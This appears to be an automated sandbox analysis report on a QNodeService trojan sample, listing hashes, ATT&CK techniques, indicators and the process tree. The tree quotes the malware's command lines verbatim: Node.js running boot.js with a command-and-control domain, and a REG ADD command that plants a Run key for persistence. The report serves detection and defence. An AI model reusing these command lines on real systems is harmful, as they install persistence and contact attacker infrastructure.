qnodeservice | 61f755a1b4b17c26aa0a66d6dc16bb346bd2e58b874a0264aa7c135b86444828

General

Target

4b62b502ab63d3c23386068954fa7c73.jar
Size

54KB
MD5

4b62b502ab63d3c23386068954fa7c73
SHA1

079c3c46af6b94fb838e3382bf0a0628eb636d3b
SHA256

61f755a1b4b17c26aa0a66d6dc16bb346bd2e58b874a0264aa7c135b86444828
SHA512

10841dca540e8ef0e8e675e6f58ff7c87cfe1caf820a1083e52bfa826823e9ba1282f28735fffee6158319469b9646919166c3fa31e85f52f458b17ebd66150e

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
2284	node.exe
940	node.exe
1332	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\7b7d076e-a6f1-40c6-80da-6e8913d26ac0 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab81-170.dat	js
behavioral2/files/0x000100000001ab81-175.dat	js
behavioral2/files/0x000100000001ab81-179.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	wtfismyip.com
21	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2284	node.exe
2284	node.exe
2284	node.exe
2284	node.exe
940	node.exe
940	node.exe
940	node.exe
940	node.exe
1332	node.exe
1332	node.exe
1332	node.exe
1332	node.exe
1332	node.exe
1332	node.exe
1332	node.exe
1332	node.exe
1332	node.exe
1332	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 656 wrote to memory of 4080	656	java.exe	76
PID 656 wrote to memory of 4080	656	java.exe	76
PID 4080 wrote to memory of 2284	4080	javaw.exe	80
PID 4080 wrote to memory of 2284	4080	javaw.exe	80
PID 2284 wrote to memory of 940	2284	node.exe	82
PID 2284 wrote to memory of 940	2284	node.exe	82
PID 940 wrote to memory of 1332	940	node.exe	83
PID 940 wrote to memory of 1332	940	node.exe	83
PID 1332 wrote to memory of 3824	1332	node.exe	85
PID 1332 wrote to memory of 3824	1332	node.exe	85
PID 3824 wrote to memory of 4064	3824	cmd.exe	86
PID 3824 wrote to memory of 4064	3824	cmd.exe	86

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\4b62b502ab63d3c23386068954fa7c73.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:656
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\555bab1c.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4080
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain helpdesk.servebeer.com
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2284
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_LNfzCu\boot.js --hub-domain helpdesk.servebeer.com
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:940
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_LNfzCu\boot.js --hub-domain helpdesk.servebeer.com
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1332
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "7b7d076e-a6f1-40c6-80da-6e8913d26ac0" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3824
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "7b7d076e-a6f1-40c6-80da-6e8913d26ac0" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:4064

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/940-176-0x0000026787740000-0x0000026787741000-memory.dmp

Filesize
4KB

Download
memory/1332-180-0x0000026037780000-0x0000026037781000-memory.dmp

Filesize
4KB

Download
memory/2284-173-0x0000035A8FE00000-0x0000035A8FE01000-memory.dmp

Filesize
4KB

Download

Analysis

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